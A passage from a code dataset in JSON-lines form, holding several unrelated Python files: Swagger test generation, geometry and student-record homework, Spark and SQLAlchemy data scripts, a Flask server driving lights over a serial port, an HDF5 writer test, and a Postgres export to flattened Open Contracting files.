if 'example' in value.keys():\n http_interface['request']['json'].update({key: value['example']})\n else:\n http_interface['request']['json'].update({key: ''})\n elif each.get('in') == 'query':\n name = each.get('name')\n for key in each.keys():\n if 'example' in key:\n http_interface['request']['params'].update({name: each[key]})\n for each in parameters:\n # if each.get('in') == 'path':\n # name = each.get('name')\n # for key in each.keys():\n # if 'example' in key:\n # http_interface['request']['json'].update({name: each[key]})\n # else:\n #\n # http_interface['request']['json'].update({name: ''})\n if each.get('in') == 'header':\n name = each.get('name')\n for key in each.keys():\n if 'example' in key:\n http_interface['request']['headers'].update({name: each[key]})\n else:\n if name == 'token':\n http_interface['request']['headers'].update({name: '$token'})\n else:\n http_interface['request']['headers'].update({name: ''})\n for key, value in responses.items():\n schema = value.get('schema')\n if schema:\n ref = schema.get('$ref')\n if ref:\n param_key = ref.split('/')[-1]\n res = self.definitions[param_key]['properties']\n i = 0\n for k, v in res.items():\n if 'example' in v.keys():\n http_interface['validate'].append({\"eq\": []})\n http_interface['validate'][i]['eq'].append('content.' + k)\n http_interface['validate'][i]['eq'].append(v['example'])\n\n http_testcase['validate'].append({\"eq\": []})\n http_testcase['validate'][i]['eq'].append('content.' + k)\n http_testcase['validate'][i]['eq'].append(v['example'])\n i += 1\n else:\n http_interface['validate'].append({\"eq\": []})\n else:\n http_interface['validate'].append({\"eq\": []})\n if http_interface['request']['json'] == {}:\n del http_interface['request']['json']\n if http_interface['request']['params'] == {}:\n del http_interface['request']['params']\n\n api_path = os.path.join(os.path.abspath(os.path.join(os.path.dirname(\"__file__\"), os.path.pardir)), 'api')\n tags_path = os.path.join(api_path, tag)\n if not os.path.exists(tags_path):\n os.mkdir(tags_path)\n json_path = os.path.join(tags_path, http_interface['name'] + '.json')\n write_data(http_interface, json_path)\n\n return http_testcase\n\n\nif __name__ == '__main__':\n AnalysisJson('1').retrieve_data()","sub_path":"utils/swaggerUtil.py","file_name":"swaggerUtil.py","file_ext":"py","file_size_in_byte":8384,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"445524589","text":"from dersler_total.Week6_HW_Yalcin.geometrics import *\r\n\r\nprint(\"Welcome to the Geometrics class\")\r\n\r\nwhile True:\r\n print(\"Please select the option below\")\r\n choice = int(input(\"1- Triangle\\n2- Rectangle\\n3- Square\\n4- Cube\\n5- Pyramid\\n6- Exit\\n\"))\r\n\r\n if choice == 1:\r\n side1 = input(\"Please enter side1: \")\r\n side2 = input(\"Please enter side2: \")\r\n side3 = input(\"Please enter side3: \")\r\n\r\n myTriangle = Triangle(int(side1), int(side2), int(side3))\r\n\r\n print(\"The perimeter of the triangle is \" + str(myTriangle.perimeter()))\r\n print(\"The area of the triangle is \" + str(myTriangle.area()))\r\n\r\n elif choice == 2:\r\n side1 = input(\"Please enter side1: \")\r\n side2 = input(\"Please enter side2: \")\r\n\r\n myRectangle = Rectangle(int(side1), int(side2))\r\n\r\n print(\"The perimeter of the rectangle is \" + str(myRectangle.perimeter()))\r\n print(\"The area of the rectangle is \" + str(myRectangle.area()))\r\n\r\n elif choice == 3: # Square\r\n side1 = int(input(\"Please enter side: \"))\r\n\r\n mySquare = Square(side1)\r\n\r\n print(\"The perimeter of the Square is \" + str(mySquare.perimeter()))\r\n print(\"The area of the Square is \" + str(mySquare.area()))\r\n\r\n elif choice == 4: # Cube\r\n side1 = int(input(\"Please enter side: \"))\r\n\r\n myCube = Cube(side1)\r\n\r\n print(\"The volume of the Cube is \" + str(myCube.volume()))\r\n\r\n elif choice == 5: # Pyramid\r\n side1 = int(input(\"Please enter side1 of triangle: \"))\r\n side2 = int(input(\"Please enter side2 of triangle: \"))\r\n side3 = int(input(\"Please enter side3 of triangle: \"))\r\n\r\n sideOfBase = int(input(\"Please enter the side of base Square: \"))\r\n height = int(input(\"Please enter the height of Pyramid\"))\r\n myPyramid = Pyramid(side1, side2, side3, sideOfBase, height)\r\n\r\n print(\"The volume of the Pyramid is \" + str(myPyramid.volume()))\r\n\r\n elif choice == 6:\r\n break\r\n else:\r\n print(\"Try again\")\r\n","sub_path":"Week6_HW_Yalcin/mainGeometrics.py","file_name":"mainGeometrics.py","file_ext":"py","file_size_in_byte":2037,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"136773655","text":"students = []\nfor i in range(2):\n student = {}\n student['Name'] = input('Please enter student name: ')\n student['Father Name'] = input('Please enter father name: ')\n student['Cell number'] = input('Please enter Cell Number: ')\n students.append(student)\n print('Currently Enrolled Students: ', len(students))\n\n #DELETE FUNCTION:\n#1\n# for student in students:\n# #print('student')\n# #print(student)\n# if student['Name'].lower() == 'inam':\n# del student[\"Name\"]\n# del student[\"Father Name\"]\n# del student[\"Cell number\"]\n#2\n# for idx in range(len(students)):\n# if students[idx]['Name'].lower() == 'inam':\n# del students[idx]\n# print(students)\n#3\n# for student in students:\n# #print('student')\n# #print(student)\n# if student['Name'].lower() == 'inam':\n# students.remove(student)\n# print(students)\n","sub_path":"sms.py","file_name":"sms.py","file_ext":"py","file_size_in_byte":916,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"154539375","text":"import sys\nimport math\nimport re\nimport numpy as np\nfrom scipy.stats.mstats import gmean\n\nfrom operator import add\nfrom pyspark import SparkContext\n\n\n\n#------------------------------------------------------------------------------------\ndef parseTowers(strs):\n\n\t#Split\n\telements = strs.encode('ascii','ignore').split(',')\n\n\t#Return\n\treturn int(elements[0]),int(elements[1])\n\n#------------------------------------------------------------------------------------\ndef parseFile(strs):\n\n\n #Split and clean\n elements = strs.encode('ascii','ignore').split('\\t')\n newelements = elements[0][1:-1].split(',')\n \n #Return\n return int(newelements[0]),int(newelements[1]),int(elements[2])\n\n\n#------------------------------------------------------------------------------------\ndef replace(mytuple,towers):\n\n\n\t#Replace\n\tfromval,toval,count = mytuple\n\tfromval = towers[fromval-1,1]\n\ttoval = towers[toval-1,1]\n\n\n\t#Return\n\treturn (fromval,toval),count\n\n\n#------------------------------------------------------------------------------------\ndef aggregateCount(aggdata):\n\n\n #Group\n aggdata = aggdata.groupByKey()\n\n\n #Compute\n aggdata = aggdata.map(lambda x: (x[0],sum(x[1])))\n aggdata = aggdata.sortByKey()\n\n\n #Collect\n aggdata = aggdata.collect()\n\n\n #Return\n return aggdata\n\n\n#------------------------------------------------------------------------------------\nif __name__ == \"__main__\":\n\n\n\n\t#Init\n\tsc = SparkContext(sys.argv[1], \"Python Spark\")\n\n\n\n\t#Read Towers\n\ttowers = sc.textFile('/user/gijs/d4d/towers')\n\ttowers = towers.map(lambda x: parseTowers(x))\n\ttowers = np.array(towers.collect())\n\n\n\n\t#Read File\n\tdata = sc.textFile('/user/gijs/d4d/set1/' + sys.argv[2])\n\tdata = data.map(lambda x: parseFile(x))\n\n\n\n\t#Replace tower with district\n\tdata = data.map(lambda x: replace(x,towers))\n\n\n\n\t#Group \n\tdata = aggregateCount(data)\n\n\n\n\t#Save\n\twith open('aggregated/' + sys.argv[2] + '_district_duration','w') as f:\n\t\tfor item in data:\n\t\t\tleft,count = item\n\t\t\tfromval,toval = left\n\t\t\tf.write(str(fromval) + ',' + str(toval) + ',' + str(count) + '\\n')\n","sub_path":"hadoop/set1/spark/toBinary2DvoiceDuration.py","file_name":"toBinary2DvoiceDuration.py","file_ext":"py","file_size_in_byte":2074,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"645443838","text":"#Dave and Dino's script for hw7\n#creates databases for scraping data and twitter api data\n\nimport pandas as pd\nimport sqlalchemy\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy import Column, Integer, String, ForeignKey, and_, or_\nfrom sqlalchemy.orm import relationship, backref, sessionmaker\nfrom sqlalchemy import *\nimport time\n\n#scraping data\n\ndata = pd.read_csv(\"https://raw.githubusercontent.com/dinohadzic/python-washu-2014/master/hw5/mathofpolitics.csv\") #csv from hw5\n\nengine = sqlalchemy.create_engine('sqlite:////Users/dinohadzic/python-washu-2014/hw7/scrape_database.db', echo=False)\n\nBase = declarative_base() \n\nclass Blog(Base): #table for blog posts\n __tablename__ = 'blog_post'\n id = Column(Integer, primary_key=True)\n url = Column(String)\n is_post = Column(Integer)\n publish_date = Column(String)\n author = Column(String)\n post_title = Column(String)\n comment_count = Column(Integer)\n source_id = Column(Integer, ForeignKey('sources.id')) #points to source of blog\n def __init__(self, url, is_post, publish_date, author, post_title, comment_count):\n self.url = url\n self.is_post = int(is_post)\n self.publish_date = str(publish_date)\n self.author = str(author)\n self.post_title = post_title.decode('ascii','ignore')\n self.comment_count = int(comment_count)\n def __repr__(self):\n if self.is_post == 0: return 'Not a post. URL: %s' %self.url\n else:\n return 'name: %s\\nURL: %s'%(self.post_title, self.url)\n\n\nclass Source(Base): #stores source of blogs\n __tablename__ = 'sources'\n id = Column(Integer, primary_key=True)\n name = Column(String)\n url = Column(String)\n blogs = relationship(\"Blog\") #relationship to blogs from source\n def __init__(self, name, url):\n self.name = name\n self.url = url\n def __repr__(self):\n return 'name: %s\\nurl: %s' %(self.name, self.url)\n \n \n\nBase.metadata.create_all(engine) \nSession = sessionmaker(bind=engine)\nsession = Session()\n\n\npatty = Source('The Math of Politics', 'http://www.mathofpolitics.com/') #initialize a source\nsession.add(patty) #add instance\nblogs=[] #list to store blogs\nfor i in range(data.count()[0]): #loop through rows, add an instance of Blog to list\n if data.loc[i, 'is_post']==0: #means not a blog\n blogs.append(Blog(data.loc[i, 'url'], data.loc[i, 'is_post'], 'None', 'None', 'None', 0))\n else: blogs.append(Blog(data.loc[i, 'url'], data.loc[i, 'is_post'], data.loc[i, 'publish_date'], data.loc[i, 'author'], data.loc[i, 'post_title'], data.loc[i, 'comment_count']))\n patty.blogs.append(blogs[i]) #append the blog to the source instance\n\n\nsession.add_all(blogs) #add all the blogs\n\nsession.commit()\n\n#twitter data\n\nengine = sqlalchemy.create_engine('sqlite:////home/david/python-washu-2014/hw7/twitter_database.db', echo=False)\n\nBase = declarative_base() \n\n\nclass Users(Base): #table to store user info - num of followers and num of tweets (activity measure)\n __tablename__ = 'users'\n id = Column(Integer, primary_key=True)\n name = Column(String)\n number_followers = Column(String)\n number_tweets = Column(Integer)\n crawl_id = Column(Integer, ForeignKey('crawls.id')) #points to crawl instance\n def __init__(self, name, number_followers, number_tweets):\n self.name = name\n self.number_followers = number_followers\n self.number_tweets = number_tweets\n def __repr__(self):\n return 'name: %s\\nNumber of followers: %s\\nNumber of Tweets: %s' %(self.name, self.number_followers, self.number_tweets)\n\n\nclass Crawls(Base): #stores crawl info - starting user and date/time of start\n __tablename__ = 'crawls'\n id = Column(Integer, primary_key=True)\n starting_user = Column(String)\n time_begin = Column(String)\n users = relationship(\"Users\")\n def __init__(self, starting_user):\n self.starting_user = starting_user\n time_begin = time.strftime(\"%d/%m/%Y - %H:%M:%S\") #date and time at point of initialization\n def __repr__(self):\n return 'Beginning user: %s\\nStart date - time: %s'%(self.starting_user, self.time_begin)\n\n\nBase.metadata.create_all(engine) \nSession = sessionmaker(bind=engine)\nsession = Session()\n\n\n#api set on different code\n\nhenry_crawl_follower = Crawls('Henry Hackney') #initializes crawl\n\nsession.add(henry_crawl_follower) #adds instance\n\npeople = api.followers_ids('Atticushack')+api.friends_ids('Atticushack') # Extract IDs for Henry's followers and friends\npeople = list(set(people)) #extract unique user ids\nuserlist = []\ni=0\nwhile i OK THIS WoRKS\"\r\n\r\n resp = Response(statusjson, status=200, mimetype='application/json')\r\n ##resp.headers['Link'] = 'http://google.com'\r\n\r\n return resp\r\n\r\n\r\n@app.route(\"/action\", methods=['GET', 'POST'])\r\ndef action():\r\n\r\n print(request)\r\n\r\n res = request.get_json()\r\n print (res)\r\n\r\n resraw = request.get_data()\r\n print (resraw)\r\n\r\n ser = serial.Serial('/dev/ttyACM1', 115200)\r\n\r\n print (\"connected to: \" + ser.portstr)\r\n ser.flush()\r\n \r\n\r\n serialmsg = b''\r\n\r\n # args = request.args\r\n # form = request.form\r\n # values = request.values\r\n\r\n # print(request.args.get(\"type\"))\r\n print(request.form[\"type\"])\r\n\r\n if request.form[\"type\"] == \"lightoff\":\r\n print (\"lights go off\")\r\n ser.flush()\r\n ser.write(b'l')\r\n ser.flush()\r\n ser.write('l')\r\n\r\n \r\n if request.form[\"type\"] == \"lighton\":\r\n print (\"lights go on\")\r\n ser.flush()\r\n ser.write(b'L')\r\n ser.flush()\r\n ser.write('L')\r\n\r\n\r\n\r\n # print (args)\r\n # print (form)\r\n # print (values)\r\n\r\n## sres = request.form.to_dict()\r\n \r\n ser.close()\r\n status = {}\r\n status[\"server\"] = \"up\"\r\n status[\"message\"] = \"some random message here\"\r\n status[\"request\"] = res \r\n\r\n statusjson = json.dumps(status)\r\n\r\n print(statusjson)\r\n\r\n js = \" OK THIS WoRKS\"\r\n\r\n resp = Response(statusjson, status=200, mimetype='application/json')\r\n ##resp.headers['Link'] = 'http://google.com'\r\n\r\n return resp\r\n\r\n\r\n\r\n\r\n@app.route(\"/getData\", methods=['GET', 'POST'])\r\ndef getData():\r\n\r\n print(request)\r\n\r\n subprocess.Popen(\"sudo python pireadings.py\", shell = True)\r\n\r\n # res = request.get_json()\r\n # print (res)\r\n\r\n # plot = res[\"plot\"]\r\n\r\n # resraw = request.get_data()\r\n # print (resraw)\r\n\r\n## args = request.args\r\n## form = request.form\r\n## values = request.values\r\n\r\n## print (args)\r\n## print (form)\r\n## print (values)\r\n\r\n## sres = request.form.to_dict()\r\n col = db.readings\r\n humids = []\r\n temps = []\r\n lights = []\r\n times = []\r\n images = []\r\n names = []\r\n moists = []\r\n types = []\r\n\r\n\r\n for x in col.find():\r\n print(x)\r\n times.append(x[\"lastupdate\"])\r\n humids.append(x[\"humid\"])\r\n names.append(x[\"name\"])\r\n temps.append(x[\"temp\"])\r\n lights.append(x[\"light\"])\r\n moists.append(x[\"moist\"])\r\n images.append(x[\"pic\"])\r\n types.append(x[\"type\"])\r\n\r\n \r\n\r\n status = {}\r\n status[\"server\"] = \"up\"\r\n status[\"message\"] = \"some random message here\"\r\n # status[\"request\"] = res\r\n status[\"times\"] = times\r\n status[\"humid\"] = humids\r\n status[\"names\"] = names\r\n status[\"temps\"] = temps\r\n status[\"lights\"] = lights\r\n status[\"moists\"] = moists\r\n status[\"images\"] = images\r\n status[\"types\"] = types\r\n \r\n statusjson = json.dumps(status)\r\n\r\n # print(statusjson)\r\n\r\n js = \" OK THIS WoRKS\"\r\n\r\n resp = Response(statusjson, status=200, mimetype='application/json')\r\n ##resp.headers['Link'] = 'http://google.com'\r\n\r\n return resp\r\n\r\n\r\n\r\n\r\n\r\n@app.route(\"/dummy\", methods=['GET', 'POST'])\r\ndef dummy():\r\n\r\n ##res = request.json\r\n\r\n js = \" OK THIS WoRKS\"\r\n\r\n resp = Response(js, status=200, mimetype='text/html')\r\n ##resp.headers['Link'] = 'http://google.com'\r\n\r\n return resp\r\n\r\n\r\nif __name__ == \"__main__\":\r\n app.run(debug=True, host = 'localhost', port = 8002)\r\n # app.run(debug=True, host = '52.116.36.178', port = 8001)","sub_path":"pibaseserver.py","file_name":"pibaseserver.py","file_ext":"py","file_size_in_byte":5956,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"109753194","text":"from helpers.kafkahelpers import create_producer, send_writer_command\nfrom time import sleep\nimport h5py\nimport numpy as np\nimport os\n\n\ndef test_data_reaches_file(docker_compose):\n producer = create_producer()\n sleep(20)\n # Start file writing\n send_writer_command(\"commands/example-json-command.json\", producer, start_time=docker_compose)\n producer.flush()\n # Give it some time to accumulate data\n sleep(10)\n # Stop file writing\n send_writer_command(\"commands/stop-command.json\", producer)\n sleep(10)\n send_writer_command(\"commands/writer-exit.json\", producer)\n sleep(10)\n producer.flush()\n\n # Allow time for the file writing to complete\n for i in range(100):\n if os.path.isfile(\"output-files/output_file.nxs\"):\n break\n sleep(1)\n\n file = h5py.File(\"output-files/output_file.nxs\", mode='r')\n\n # Static checks\n assert not file.swmr_mode\n assert file[\"entry/start_time\"][...] == '2016-04-12T02:58:52'\n assert file[\"entry/end_time\"][...] == '2016-04-12T03:29:11'\n assert file[\"entry/duration\"][...] == 1817.0\n assert file[\"entry/features\"][0] == 10138143369737381149\n assert file[\"entry/user_1/affiliation\"][...] == 'ISIS, STFC'\n assert np.allclose(file[\"entry/instrument/monitor1/transformations/location\"].attrs[\"vector\"], np.array([0.0, 0.0, -1.0]))\n assert file[\"entry/instrument/monitor1/transformations/location\"].attrs[\"transformation_type\"] == \"translation\"\n\n # Streamed checks\n # Ev42 event data (Detector_1)\n assert file[\"entry/detector_1_events/event_id\"][0] == 99406\n assert file[\"entry/detector_1_events/event_id\"][1] == 98345\n # f142 Sample env (Sample)\n assert np.isclose(21.0, file[\"entry/sample/sample_env_logs/Det_Temp_RRB/value\"][0])\n","sub_path":"system-tests/test_filewriter.py","file_name":"test_filewriter.py","file_ext":"py","file_size_in_byte":1767,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"303645726","text":"import numpy as np\nimport pandas as pd\nimport sklearn as skl\nimport scipy as sc\nfrom sklearn import preprocessing\nfrom sklearn import svm\n\ndata = pd.read_csv(\"c://trainings//credit_train2.csv\", encoding=\"UTF-8\", sep=';')\ntest = pd.read_csv(\"c://trainings//credit_test2.csv\", encoding=\"UTF-8\", sep=';')\n#print(data.head())\ndata.isnull().any()\ndata = data.fillna(lambda x: x.median())\n\ntest[\"education\"] = pd.get_dummies(test['education'])\ntest[\"marital_status\"] = pd.get_dummies(test['marital_status'])\ntest[\"job_position\"] = pd.get_dummies(test['job_position'])\ntest[\"gender\"] = pd.get_dummies(test['gender'])\n\n\ndata[\"education\"] = pd.get_dummies(data['education'])\ndata[\"marital_status\"] = pd.get_dummies(data['marital_status'])\ndata[\"job_position\"] = pd.get_dummies(data['job_position'])\ndata[\"gender\"] = pd.get_dummies(data['gender'])\n\ndel data['living_region']\n#print(data[:15])\ny = data['open_account_flg']\ndel data['open_account_flg']\nX = data[[\"education\", \"age\", \"job_position\", \"marital_status\"]]#, \"credit_sum\", \"credit_month\", \"tariff_id\", \"monthly_income\"]]\n\nsvm_model = svm.SVC()\nsvm_model.fit(X, y)\nprediction = svm_model.predict(test[[\"education\", \"age\", \"job_position\"]])\n\nprint(prediction)\n\n","sub_path":"stuff/tinkoff.py","file_name":"tinkoff.py","file_ext":"py","file_size_in_byte":1208,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"279045370","text":"# Bootcamp utils: A collection of statistical functions.\n# Proved useful to 55 students.\n\nimport numpy as np\n\n\ndef ecdf(data):\n '''\n Compute x, y values for an empirical distribution function\n '''\n\n # Sort data\n x = np.sort(data)\n y = np.arange(1, 1+len(x)) / len(x)\n\n return x, y\n\n\ndef draw_bs_reps(data, func, size=1):\n '''\n Generate bootstrap replicates from an experimental data set.\n func refers to the statistical operation you would like to perform. ex: std, median, mean.\n '''\n\n # Draw bootstrap sample and store in array\n n=len(data)\n reps = np.empty(size)\n for i in range (size):\n bs_sample = np.random.choice(data, replace=True, size=n)\n reps[i] = func(bs_sample)\n\n return reps\n","sub_path":"bootcamp_utils.py","file_name":"bootcamp_utils.py","file_ext":"py","file_size_in_byte":751,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"284709012","text":"import psycopg2, datetime, sys, os, csv, json, codecs, hashlib, shutil, uuid, copy\nimport dateutil.parser, dateutil.tz\nimport flattentool\nfrom zipfile import ZipFile, ZIP_DEFLATED\n\npath = os.path.abspath(os.path.join(os.path.dirname(__file__),\"..\", \"portaledcahn\"))\nsys.path.append(path)\n\nimport settings\n\ncarpetaArchivos = \"archivos_estaticos/\"\n\ndbAdminConnection = settings.DATABASES[\"portaledcahn_admin\"]\ndbKingfisherConnection = settings.DATABASES[\"bdkingfisher\"]\n\n\"\"\"\n Funcion que obtiene la ruta raiz del proyecto y anexa al directorio. \n Parametros\n directorio: direccion de una carpeta o archivo dentro del proyecto. \n\"\"\"\ndef getRootPath(directorio):\n raiz = os.path.dirname(os.path.realpath(__file__))\n archivoSalida = os.path.join(raiz, directorio)\n return archivoSalida\n\n\"\"\"\n Funcion que se conecta a PostgreSQL (Kingfisher)\n Extrae los releases en un archivo .csv\n\"\"\"\ndef obtenerRelasesCSV():\n con = None\n nombreArchivo = \"releases.csv\"\n carpetaArchivos = \"archivos_estaticos\"\n\n select = \"\"\"\n SELECT\n r.release_id,\n r.ocid,\n d.hash_md5,\n r.package_data_id,\n d.\"data\" as \"release\",\n pd.\"data\" as \"package\" \n FROM release r\n INNER JOIN data d on r.data_id = d.id \n INNER JOIN package_data pd on r.package_data_id = pd.id\n GROUP BY \n r.release_id, \n r.ocid, \n d.hash_md5, \n r.package_data_id, \n d.data, \n pd.data\n ORDER BY\n r.release_id\n --LIMIT 2\n \"\"\"\n\n try:\n raiz = os.path.dirname(os.path.realpath(__file__))\n archivoSalida = os.path.join(raiz, carpetaArchivos, nombreArchivo)\n query = \"copy ({0}) To STDOUT With CSV DELIMITER '|';\".format(select)\n\n con = psycopg2.connect(\n host=dbKingfisherConnection[\"HOST\"], \n database=dbKingfisherConnection[\"NAME\"], \n user=dbKingfisherConnection[\"USER\"], \n password=dbKingfisherConnection[\"PASSWORD\"],\n port=dbKingfisherConnection[\"PORT\"]\n )\n\n cur = con.cursor()\n\n with open(archivoSalida, 'w') as f_output:\n cur.copy_expert(query, f_output)\n\n f_output.close()\n\n except psycopg2.DatabaseError as e:\n print(f'Error {e}')\n sys.exit(1)\n\n except IOError as e:\n print(f'Error {e}')\n sys.exit(1)\n\n finally:\n if con:\n con.close()\n\n\"\"\"\n Guarda el archivo metada de la descarga masiva de archivos en postgres. \n\"\"\"\ndef guardarDataJSON(json):\n conn = None\n\n id = str(uuid.uuid1())\n createdby = \"Portal de Contrataciones Abiertas de Honduras\"\n active = True\n\n query = '''\n INSERT INTO descargas(id, file, createdby, active)\n VALUES (%s, %s, %s, %s)\n '''\n\n values = (id, json, createdby, active)\n\n try:\n conn = psycopg2.connect(\n host=dbAdminConnection[\"HOST\"], \n database=dbAdminConnection[\"NAME\"],\n user=dbAdminConnection[\"USER\"], \n password=dbAdminConnection[\"PASSWORD\"],\n port=dbAdminConnection[\"PORT\"]\n )\n\n cur = conn.cursor()\n cur.execute(query, values)\n conn.commit()\n cur.close()\n \n except (Exception, psycopg2.DatabaseError) as error:\n print('Error en el insert')\n print(error)\n finally:\n if conn is not None:\n conn.close()\n\ndef md5(fname):\n fname = getRootPath(fname)\n\n hash_md5 = hashlib.md5()\n\n with open(fname, \"rb\") as f:\n for chunk in iter(lambda: f.read(4096), b\"\"):\n hash_md5.update(chunk)\n\n return hash_md5.hexdigest()\n\ndef limpiarArchivos(directorio):\n directorio = getRootPath(directorio)\n listaArchivos = [ f for f in os.listdir(directorio) if f.endswith(\".txt\") ]\n\n for a in listaArchivos:\n open(directorio + a, 'w').close()\n\ndef crearDirectorio(directorio):\n directorio = getRootPath(directorio)\n\n try:\n os.stat(directorio)\n except:\n os.mkdir(directorio)\n\ndef escribirArchivo(directorio, nombre, texto, modo='a'):\n direccionArchivo = getRootPath(directorio + nombre)\n archivoSalida = codecs.open(direccionArchivo, modo, 'utf-8')\n archivoSalida.write(texto)\n archivoSalida.write('\\n')\n archivoSalida.close()\n\ndef aplanarArchivo(ubicacionArchivo, directorio):\n directorio = getRootPath(directorio)\n\n ubicacionArchivo = getRootPath(ubicacionArchivo)\n\n flattentool.flatten(\n ubicacionArchivo,\n output_name=directorio,\n main_sheet_name='releases',\n root_list_path='releases',\n root_id='ocid',\n # schema=carpetaArchivos + 'release-schema.json',\n disable_local_refs=True,\n remove_empty_schema_columns=True,\n root_is_list=False\n )\n\n with ZipFile(directorio + '.zip', 'w', compression=ZIP_DEFLATED) as zipfile:\n for filename in os.listdir(directorio):\n zipfile.write(os.path.join(directorio, filename), filename)\n shutil.rmtree(directorio)\n\n # print('flatten ok')\n\ndef generarMetaDatosPaquete(paquetes, md5):\n\n uri = ''\n license = ''\n version = '1.1'\n publisher = {}\n extensions = []\n publishedDate = ''\n publicationPolicy = ''\n releases = []\n\n metaDatosPaquete = {}\n\n fechaActual = datetime.datetime.now(dateutil.tz.tzoffset('UTC', -6*60*60))\n publishedDate = fechaActual.isoformat()\n\n for p in paquetes:\n\n paquete = json.loads(p)\n\n license = paquete['license']\n version = paquete['version']\n publisher = paquete['publisher']\n publicationPolicy = paquete['publicationPolicy']\n\n for e in paquete['extensions']:\n if not e in extensions:\n extensions.append(e)\n\n metaDatosPaquete[\"uri\"] = 'http://contratacionesabiertas.gob.hn/descargas/' + md5 + '.json'\n metaDatosPaquete[\"version\"] = version\n metaDatosPaquete[\"publishedDate\"] = publishedDate\n metaDatosPaquete[\"publisher\"] = publisher\n metaDatosPaquete[\"extensions\"] = extensions\n metaDatosPaquete[\"license\"] = license\n metaDatosPaquete[\"publicationPolicy\"] = publicationPolicy\n\n return metaDatosPaquete\n\ndef generarReleasePackage(paquete, releases, directorio, nombre):\n contador1 = 0\n contador2 = 0\n archivoJson = getRootPath(directorio + nombre)\n\n f = codecs.open(archivoJson, \"w\", \"utf-8\")\n\n #Cargando la data del paquete\n paquete = getRootPath(paquete)\n\n metaDataPaquete = codecs.open(paquete, \"r\", \"utf-8\")\n metaData = metaDataPaquete.readlines()\n metaDataPaquete.close()\n\n for l in metaData[:-1]:\n f.write(l)\n\n #Creando una estructura para el listado de releases.\n f.write(',\"releases\": [\\n')\n\n #cargando la data de releases \n releases = getRootPath(releases)\n\n with open(releases, encoding=\"utf-8\") as infile:\n for linea in infile:\n contador1 += 1 \n\n # Quitando la ultima coma ,\n with open(releases, encoding=\"utf-8\") as infile:\n for linea in infile:\n if contador2 == contador1 - 1:\n f.write(linea[:-2])\n else:\n f.write(linea)\n\n contador2 += 1\n\n #Cerrando el archivo json\n f.write('\\n]\\n}')\n\n f.close()\n\ndef generarArchivosEstaticos(file):\n contador = 0\n archivos = {}\n archivosProcesar = []\n directorioReleases = carpetaArchivos + 'releases/' \n directorioHashReleases = directorioReleases + 'hash/'\n directorioTxtReleases = directorioReleases + 'txt/'\n directorioPaquetes = directorioReleases + 'paquetes/'\n directorioDescargas = directorioReleases + 'descargas/'\n\n numeroColumnaReleaseId = 0\n numeroColumnaOCID = 1\n numeroColumnaHASH = 2\n numeroColumnaPaqueteId = 3\n numeroColumnaRelease = 4\n numeroColumnaPaquete = 5\n\n crearDirectorio(directorioReleases)\n crearDirectorio(directorioHashReleases)\n crearDirectorio(directorioTxtReleases)\n crearDirectorio(directorioPaquetes)\n crearDirectorio(directorioDescargas)\n\n limpiarArchivos(directorioHashReleases)\n limpiarArchivos(directorioTxtReleases)\n limpiarArchivos(directorioPaquetes)\n\n csv.field_size_limit(sys.maxsize)\n with open(file) as fp:\n\n reader = csv.reader(fp, delimiter='|')\n\n #Recorriendo el archivos csv.\n for row in reader:\n llave = ''\n source = ''\n publisher = ''\n\n contador += 1\n\n dataRelease = json.loads(row[numeroColumnaRelease])\n dataPaquete = json.loads(row[numeroColumnaPaquete])\n\n year = dataRelease[\"date\"][0:4]\n\n month = dataRelease[\"date\"][5:7]\n\n if 'name' in dataPaquete[\"publisher\"]:\n llave = llave + dataPaquete[\"publisher\"][\"name\"].replace('/', '').replace(' ', '_')[0:17].lower()\n publisher = dataPaquete[\"publisher\"][\"name\"]\n\n if 'sources' in dataRelease:\n if 'id' in dataRelease[\"sources\"][0]:\n llave = llave + '_' + dataRelease[\"sources\"][0][\"id\"]\n\n if 'name' in dataRelease[\"sources\"][0]:\n source = dataRelease[\"sources\"][0][\"name\"]\n\n llave = llave + '_' + year + '_'+ month\n\n if not llave in archivos:\n archivos[llave] = {}\n archivos[llave][\"year\"] = year\n archivos[llave][\"month\"] = month\n archivos[llave][\"sistema\"] = source\n archivos[llave][\"publicador\"] = publisher\n archivos[llave][\"paquetesId\"] = []\n archivos[llave][\"paquetesData\"] = []\n archivos[llave][\"archivo_hash\"] = directorioHashReleases + llave + '_hash.txt'\n archivos[llave][\"archivo_text\"] = directorioTxtReleases + llave + '_releases.txt'\n archivos[llave][\"archivo_paquete\"] = directorioPaquetes + llave + '_paquete.json'\n\n if not row[numeroColumnaPaqueteId] in archivos[llave][\"paquetesId\"]:\n archivos[llave][\"paquetesId\"].append(row[numeroColumnaPaqueteId])\n archivos[llave][\"paquetesData\"].append(row[numeroColumnaPaquete])\n\n escribirArchivo(directorioHashReleases, llave + '_hash.txt', row[numeroColumnaHASH])\n escribirArchivo(directorioTxtReleases, llave + '_releases.txt', row[numeroColumnaRelease] + ',')\n\n print('Cantidad de releases ->', contador)\n\n #Cargar el ultimo metadatos_releases.\n ultimoArchivo = directorioReleases + 'metadata_releases.json'\n\n try:\n with open(getRootPath(ultimoArchivo), encoding=\"utf-8\") as json_file:\n archivosProcesados = json.load(json_file)\n except Exception as e:\n print(e)\n archivosProcesados = {}\n\n #Comparar archivos MD5\n for llave in archivos:\n archivo = archivos[llave]\n archivo[\"urls\"] = {}\n archivo[\"finalizo\"] = False\n archivo[\"md5_hash\"] = md5(archivo[\"archivo_hash\"])\n\n # Preguntar si el archivo ya ha sido procesado\n if llave in archivosProcesados:\n archivo[\"finalizo\"] = archivosProcesados[llave][\"finalizo\"]\n\n # Si los hash son diferentes entonces se procesa.\n if archivo[\"md5_hash\"] != archivosProcesados[llave][\"md5_hash\"]:\n archivosProcesar.append(llave)\n else:\n # Si no se termino de procesar completo, entonces se procesa de nuevo.\n if 